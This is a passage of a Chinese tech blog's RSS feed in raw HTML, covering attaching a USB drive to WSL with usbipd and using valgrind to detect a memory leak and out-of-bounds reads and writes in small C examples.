</span></span><span class="line"><span class="cl">Selecting previously unselected package linux-tools-5.4.0-164.
</span></span><span class="line"><span class="cl">Preparing to unpack .../linux-tools-5.4.0-164_5.4.0-164.181_amd64.deb ...
</span></span><span class="line"><span class="cl">Unpacking linux-tools-5.4.0-164 <span class="o">(</span>5.4.0-164.181<span class="o">)</span> ...
</span></span><span class="line"><span class="cl">Selecting previously unselected package linux-tools-5.4.0-164-generic.
</span></span><span class="line"><span class="cl">Preparing to unpack .../linux-tools-5.4.0-164-generic_5.4.0-164.181_amd64.deb ...
</span></span><span class="line"><span class="cl">Unpacking linux-tools-5.4.0-164-generic <span class="o">(</span>5.4.0-164.181<span class="o">)</span> ...
</span></span><span class="line"><span class="cl">Selecting previously unselected package linux-tools-generic.
</span></span><span class="line"><span class="cl">Preparing to unpack .../linux-tools-generic_5.4.0.164.161_amd64.deb ...
</span></span><span class="line"><span class="cl">Unpacking linux-tools-generic <span class="o">(</span>5.4.0.164.161<span class="o">)</span> ...
</span></span><span class="line"><span class="cl">Setting up hwdata <span class="o">(</span>0.333-1<span class="o">)</span> ...
</span></span><span class="line"><span class="cl">Setting up linux-tools-common <span class="o">(</span>5.4.0-164.181<span class="o">)</span> ...
</span></span><span class="line"><span class="cl">Setting up linux-tools-5.4.0-164 <span class="o">(</span>5.4.0-164.181<span class="o">)</span> ...
</span></span><span class="line"><span class="cl">Setting up linux-tools-5.4.0-164-generic <span class="o">(</span>5.4.0-164.181<span class="o">)</span> ...
</span></span><span class="line"><span class="cl">Setting up linux-tools-generic <span class="o">(</span>5.4.0.164.161<span class="o">)</span> ...
</span></span><span class="line"><span class="cl">Processing triggers <span class="k">for</span> man-db <span class="o">(</span>2.9.1-1<span class="o">)</span> ...
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD:~$ sudo update-alternatives --install /usr/local/bin/usbip usbip /usr/lib/linux-tools/*-generic/usbip <span class="m">20</span>
</span></span><span class="line"><span class="cl">update-alternatives: using /usr/lib/linux-tools/5.4.0-164-generic/usbip to provide /usr/local/bin/usbip <span class="o">(</span>usbip<span class="o">)</span> in auto mode
</span></span></code></pre></td></tr></table>
</div>
</div><h2 id="连接-usb-设备到-wsl">连接 USB 设备到 wsl</h2>
<p>管理员权限打开 power shell， 输入：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nb">PS </span><span class="n">C:</span><span class="p">\</span><span class="n">Users</span><span class="p">\</span><span class="n">hacper</span><span class="p">&gt;</span> <span class="n">usbipd</span> <span class="n">wsl</span> <span class="n">list</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">BUSID</span>  <span class="n">VID</span><span class="err">:</span><span class="n">PID</span>    <span class="n">DEVICE</span>                                                        <span class="n">STATE</span>
</span></span><span class="line"><span class="cl"><span class="mf">2</span><span class="p">-</span><span class="mf">1</span>    <span class="n">1ea7</span><span class="err">:</span><span class="mf">0066</span>  <span class="n">USB</span> <span class="n">输入设备</span>                                                  <span class="n">Not</span> <span class="n">attached</span>
</span></span><span class="line"><span class="cl"><span class="mf">2</span><span class="p">-</span><span class="mf">5</span>    <span class="n">13d3</span><span class="err">:</span><span class="mf">5471</span>  <span class="n">XiaoMi</span> <span class="n">Webcam</span>                                                 <span class="n">Not</span> <span class="n">attached</span>
</span></span><span class="line"><span class="cl"><span class="mf">2</span><span class="p">-</span><span class="mf">7</span>    <span class="n">10a5</span><span class="err">:</span><span class="mf">9200</span>  <span class="n">FPC</span> <span class="n">Fingerprint</span> <span class="n">Reader</span> <span class="p">(</span><span class="n">Disum</span><span class="p">),</span> <span class="n">FPC</span> <span class="n">Sensor</span> <span class="n">Controller</span> <span class="nb">FW </span><span class="p">...</span>  <span class="n">Not</span> <span class="n">attached</span>
</span></span><span class="line"><span class="cl"><span class="mf">2</span><span class="p">-</span><span class="mf">10</span>   <span class="mf">8087</span><span class="err">:</span><span class="mf">0026</span>  <span class="n">英特尔</span><span class="p">(</span><span class="n">R</span><span class="p">)</span> <span class="n">无线</span> <span class="n">Bluetooth</span><span class="p">(</span><span class="n">R</span><span class="p">)</span>                                   <span class="n">Not</span> <span class="n">attached</span>
</span></span><span class="line"><span class="cl"><span class="mf">2</span><span class="p">-</span><span class="mf">15</span>   <span class="mf">1058</span><span class="err">:</span><span class="n">25f3</span>  <span class="n">USB</span> <span class="n">Attached</span> <span class="n">SCSI</span> <span class="p">(</span><span class="n">UAS</span><span class="p">)</span> <span class="n">大容量存储设备</span>                        <span class="n">Not</span> <span class="n">attached</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">usbipd</span><span class="err">:</span> <span class="n">warning</span><span class="err">:</span> <span class="n">USB</span> <span class="k">filter</span> <span class="s1">&#39;USBPcap&#39;</span> <span class="n">is</span> <span class="n">known</span> <span class="n">to</span> <span class="n">be</span> <span class="n">incompatible</span> <span class="n">with</span> <span class="n">this</span> <span class="n">software</span><span class="p">;</span> <span class="s1">&#39;bind --force&#39;</span> <span class="n">will</span> <span class="n">be</span> <span class="n">required</span><span class="p">.</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">PS </span><span class="n">C:</span><span class="p">\</span><span class="n">Users</span><span class="p">\</span><span class="n">hacper</span><span class="p">&gt;</span> <span class="n">usbipd</span> <span class="n">wsl</span> <span class="n">attach</span> <span class="p">-</span><span class="n">-busid</span> <span class="mf">2</span><span class="p">-</span><span class="mf">15</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">usbipd</span><span class="err">:</span> <span class="n">info</span><span class="err">:</span> <span class="n">Using</span> <span class="k">default</span> <span class="n">WSL</span> <span class="n">distribution</span> <span class="s1">&#39;Ubuntu&#39;</span><span class="p">;</span> <span class="n">specify</span> <span class="n">the</span> <span class="s1">&#39;--distribution&#39;</span> <span class="n">option</span> <span class="n">to</span> <span class="nb">select </span><span class="n">a</span> <span class="n">different</span> <span class="n">one</span><span class="p">.</span>
</span></span><span class="line"><span class="cl"><span class="n">usbipd</span><span class="err">:</span> <span class="n">warning</span><span class="err">:</span> <span class="n">USB</span> <span class="k">filter</span> <span class="s1">&#39;USBPcap&#39;</span> <span class="n">is</span> <span class="n">known</span> <span class="n">to</span> <span class="n">be</span> <span class="n">incompatible</span> <span class="n">with</span> <span class="n">this</span> <span class="n">software</span><span class="p">;</span> <span class="s1">&#39;bind --force&#39;</span> <span class="n">will</span> <span class="n">be</span> <span class="n">required</span><span class="p">.</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">PS </span><span class="n">C:</span><span class="p">\</span><span class="n">Users</span><span class="p">\</span><span class="n">hacper</span><span class="p">&gt;</span> <span class="n">usbipd</span> <span class="n">wsl</span> <span class="n">list</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">BUSID</span>  <span class="n">VID</span><span class="err">:</span><span class="n">PID</span>    <span class="n">DEVICE</span>                                                        <span class="n">STATE</span>
</span></span><span class="line"><span class="cl"><span class="mf">2</span><span class="p">-</span><span class="mf">1</span>    <span class="n">1ea7</span><span class="err">:</span><span class="mf">0066</span>  <span class="n">USB</span> <span class="n">输入设备</span>                                                  <span class="n">Not</span> <span class="n">attached</span>
</span></span><span class="line"><span class="cl"><span class="mf">2</span><span class="p">-</span><span class="mf">5</span>    <span class="n">13d3</span><span class="err">:</span><span class="mf">5471</span>  <span class="n">XiaoMi</span> <span class="n">Webcam</span>                                                 <span class="n">Not</span> <span class="n">attached</span>
</span></span><span class="line"><span class="cl"><span class="mf">2</span><span class="p">-</span><span class="mf">7</span>    <span class="n">10a5</span><span class="err">:</span><span class="mf">9200</span>  <span class="n">FPC</span> <span class="n">Fingerprint</span> <span class="n">Reader</span> <span class="p">(</span><span class="n">Disum</span><span class="p">),</span> <span class="n">FPC</span> <span class="n">Sensor</span> <span class="n">Controller</span> <span class="nb">FW </span><span class="p">...</span>  <span class="n">Not</span> <span class="n">attached</span>
</span></span><span class="line"><span class="cl"><span class="mf">2</span><span class="p">-</span><span class="mf">10</span>   <span class="mf">8087</span><span class="err">:</span><span class="mf">0026</span>  <span class="n">英特尔</span><span class="p">(</span><span class="n">R</span><span class="p">)</span> <span class="n">无线</span> <span class="n">Bluetooth</span><span class="p">(</span><span class="n">R</span><span class="p">)</span>                                   <span class="n">Not</span> <span class="n">attached</span>
</span></span><span class="line"><span class="cl"><span class="mf">2</span><span class="p">-</span><span class="mf">15</span>   <span class="mf">1058</span><span class="err">:</span><span class="n">25f3</span>  <span class="n">USB</span> <span class="n">Attached</span> <span class="n">SCSI</span> <span class="p">(</span><span class="n">UAS</span><span class="p">)</span> <span class="n">大容量存储设备</span>                        <span class="n">Attached</span> <span class="p">-</span> <span class="n">WSL</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">usbipd</span><span class="err">:</span> <span class="n">warning</span><span class="err">:</span> <span class="n">USB</span> <span class="k">filter</span> <span class="s1">&#39;USBPcap&#39;</span> <span class="n">is</span> <span class="n">known</span> <span class="n">to</span> <span class="n">be</span> <span class="n">incompatible</span> <span class="n">with</span> <span class="n">this</span> <span class="n">software</span><span class="p">;</span> <span class="s1">&#39;bind --force&#39;</span> <span class="n">will</span> <span class="n">be</span> <span class="n">required</span><span class="p">.</span>
</span></span><span class="line"><span class="cl"><span class="nb">PS </span><span class="n">C:</span><span class="p">\</span><span class="n">Users</span><span class="p">\</span><span class="n">hacper</span><span class="p">&gt;</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>wsl 中设置</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD:~$ lsusb
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Bus <span class="m">002</span> Device 002: ID 1058:25f3 Western Digital Technologies, Inc. My Passport 25F3
</span></span><span class="line"><span class="cl">Bus <span class="m">002</span> Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
</span></span><span class="line"><span class="cl">Bus <span class="m">001</span> Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
</span></span><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD:~$
</span></span></code></pre></td></tr></table>
</div>
</div><h2 id="资料">资料</h2>
<ul>
<li><a href="https://learn.microsoft.com/zh-cn/windows/wsl/connect-usb">连接 USB 设备</a></li>
<li><a href="https://github.com/dorssel/usbipd-win/releases/">usbipd-win</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>使用 valgrind 检测内存问题示例</title>
      <link>https://hacperme.com/posts/notes/20230819_valgrind_notes/</link>
      <pubDate>Sat, 19 Aug 2023 00:38:26 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/20230819_valgrind_notes/</guid>
      <description>介绍 valgrind 是一套工具集，常用于检测软件内存泄漏和分析软件性能问题。本文只记录使用 valgrind 检测内存相关问题的示例。 valgrind 使用 使用 valgrind 调用将要测试的程序，加上参</description>
      <content:encoded><![CDATA[<h2 id="介绍">介绍</h2>
<p>valgrind 是一套工具集，常用于检测软件内存泄漏和分析软件性能问题。本文只记录使用 valgrind 检测内存相关问题的示例。</p>
<h2 id="valgrind-使用">valgrind 使用</h2>
<p>使用 valgrind 调用将要测试的程序，加上参数 <code>--leak-check=full --show-leak-kinds=all</code>, 如下面示例，检测 test 程序有没有问题。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">valgrind --leak-check<span class="o">=</span>full --show-leak-kinds<span class="o">=</span>all ./test
</span></span></code></pre></td></tr></table>
</div>
</div><h2 id="常见内存问题">常见内存问题</h2>
<ol>
<li>内存泄漏</li>
</ol>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">test_memory_leak</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="o">*</span><span class="n">test_data</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">test_data</span> <span class="o">=</span> <span class="nf">malloc</span><span class="p">(</span><span class="mi">1024</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">memset</span><span class="p">(</span><span class="n">test_data</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1024</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">sprintf</span><span class="p">(</span><span class="n">test_data</span><span class="p">,</span> <span class="s">&#34;[test]</span><span class="se">\r\n</span><span class="s">key=123</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;test_data:%s</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">test_data</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">valgrind --leak-check<span class="o">=</span>full --show-leak-kinds<span class="o">=</span>all ./build/build_out/target/test
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">344</span><span class="o">==</span> Memcheck, a memory error <span class="nv">detector</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">344</span><span class="o">==</span> Copyright <span class="o">(</span>C<span class="o">)</span> 2002-2017, and GNU GPL<span class="err">&#39;</span>d, by Julian Seward et al.
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">344</span><span class="o">==</span> Using Valgrind-3.15.0 and LibVEX<span class="p">;</span> rerun with -h <span class="k">for</span> copyright <span class="nv">info</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">344</span><span class="o">==</span> Command: ./build/build_out/target/test
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">344</span><span class="o">==</span>
</span></span><span class="line"><span class="cl">test_data:<span class="o">[</span>test<span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="nv">key</span><span class="o">=</span><span class="m">123</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">test</span> count:36, <span class="nb">test</span> passed:36, 100.00%
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">344</span><span class="o">==</span> 
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">344</span><span class="o">==</span> HEAP SUMMARY:
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">344</span><span class="o">==</span>     in use at exit: 1,024 bytes in <span class="m">1</span> <span class="nv">blocks</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">344</span><span class="o">==</span>   total heap usage: <span class="m">181</span> allocs, <span class="m">180</span> frees, 28,748 bytes <span class="nv">allocated</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">344</span><span class="o">==</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">344</span><span class="o">==</span> 1,024 bytes in <span class="m">1</span> blocks are definitely lost in loss record <span class="m">1</span> of <span class="nv">1</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">344</span><span class="o">==</span>    at 0x483B7F3: malloc <span class="o">(</span>in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">344</span><span class="o">==</span>    by 0x10A59C: test_memory_leak <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">344</span><span class="o">==</span>    by 0x10A600: test_parser <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">344</span><span class="o">==</span>    by 0x10A61B: main <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">344</span><span class="o">==</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">344</span><span class="o">==</span> LEAK SUMMARY:
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">344</span><span class="o">==</span>    definitely lost: 1,024 bytes in <span class="m">1</span> <span class="nv">blocks</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">344</span><span class="o">==</span>    indirectly lost: <span class="m">0</span> bytes in <span class="m">0</span> <span class="nv">blocks</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">344</span><span class="o">==</span>      possibly lost: <span class="m">0</span> bytes in <span class="m">0</span> <span class="nv">blocks</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">344</span><span class="o">==</span>    still reachable: <span class="m">0</span> bytes in <span class="m">0</span> <span class="nv">blocks</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">344</span><span class="o">==</span>         suppressed: <span class="m">0</span> bytes in <span class="m">0</span> <span class="nv">blocks</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">344</span><span class="o">==</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">344</span><span class="o">==</span> For lists of detected and suppressed errors, rerun with: -s
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">344</span><span class="o">==</span> ERROR SUMMARY: <span class="m">1</span> errors from <span class="m">1</span> contexts <span class="o">(</span>suppressed: <span class="m">0</span> from 0<span class="o">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><ol start="2">
<li>
<p>内存越界</p>
<p>写越界</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">test_memory</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 内存越界示例
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="kt">char</span> <span class="o">*</span><span class="n">test_data</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">test_data</span> <span class="o">=</span> <span class="nf">malloc</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">memset</span><span class="p">(</span><span class="n">test_data</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">10</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">strcpy</span><span class="p">(</span><span class="n">test_data</span><span class="p">,</span> <span class="s">&#34;test&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">test_data</span><span class="p">[</span><span class="mi">10</span><span class="p">]</span> <span class="o">=</span> <span class="sc">&#39;\0&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nf">free</span><span class="p">(</span><span class="n">test_data</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">valgrind --leak-check<span class="o">=</span>full --show-leak-kinds<span class="o">=</span>all ./build/build_out/target/test
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">56</span><span class="o">==</span> Memcheck, a memory error <span class="nv">detector</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">56</span><span class="o">==</span> Copyright <span class="o">(</span>C<span class="o">)</span> 2002-2017, and GNU GPL<span class="s1">&#39;d, by Julian Seward et al.
</span></span></span><span class="line"><span class="cl"><span class="s1">==56== Using Valgrind-3.15.0 and LibVEX; rerun with -h for copyright info
</span></span></span><span class="line"><span class="cl"><span class="s1">==56== Command: ./build/build_out/target/test
</span></span></span><span class="line"><span class="cl"><span class="s1">==56==
</span></span></span><span class="line"><span class="cl"><span class="s1">==56== Invalid write of size 1
</span></span></span><span class="line"><span class="cl"><span class="s1">==56==    at 0x10A5AD: test_memory (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==56==    by 0x10A5D5: test_parser (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==56==    by 0x10A5F0: main (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==56==  Address 0x4a52c3a is 0 bytes after a block of size 10 alloc&#39;</span><span class="nv">d</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">56</span><span class="o">==</span>    at 0x483B7F3: malloc <span class="o">(</span>in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so<span class="o">)</span>       
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">56</span><span class="o">==</span>    by 0x10A57C: test_memory <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">56</span><span class="o">==</span>    by 0x10A5D5: test_parser <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">56</span><span class="o">==</span>    by 0x10A5F0: main <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">56</span><span class="o">==</span>
</span></span><span class="line"><span class="cl"><span class="nb">test</span> count:36, <span class="nb">test</span> passed:36, 100.00%
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">56</span><span class="o">==</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">56</span><span class="o">==</span> HEAP SUMMARY:
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">56</span><span class="o">==</span>     in use at exit: <span class="m">0</span> bytes in <span class="m">0</span> <span class="nv">blocks</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">56</span><span class="o">==</span>   total heap usage: <span class="m">181</span> allocs, <span class="m">181</span> frees, 27,734 bytes <span class="nv">allocated</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">56</span><span class="o">==</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">56</span><span class="o">==</span> All heap blocks were freed -- no leaks are <span class="nv">possible</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">56</span><span class="o">==</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">56</span><span class="o">==</span> For lists of detected and suppressed errors, rerun with: -s
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">56</span><span class="o">==</span> ERROR SUMMARY: <span class="m">1</span> errors from <span class="m">1</span> contexts <span class="o">(</span>suppressed: <span class="m">0</span> from 0<span class="o">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>读越界</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">test_memory</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="o">*</span><span class="n">test_data</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">test_data</span> <span class="o">=</span> <span class="nf">malloc</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">memset</span><span class="p">(</span><span class="n">test_data</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">10</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">strcpy</span><span class="p">(</span><span class="n">test_data</span><span class="p">,</span> <span class="s">&#34;test&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;test_data:%c</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">test_data</span><span class="p">[</span><span class="mi">10</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">free</span><span class="p">(</span><span class="n">test_data</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span></code></pre></td>
<td class="lntd">
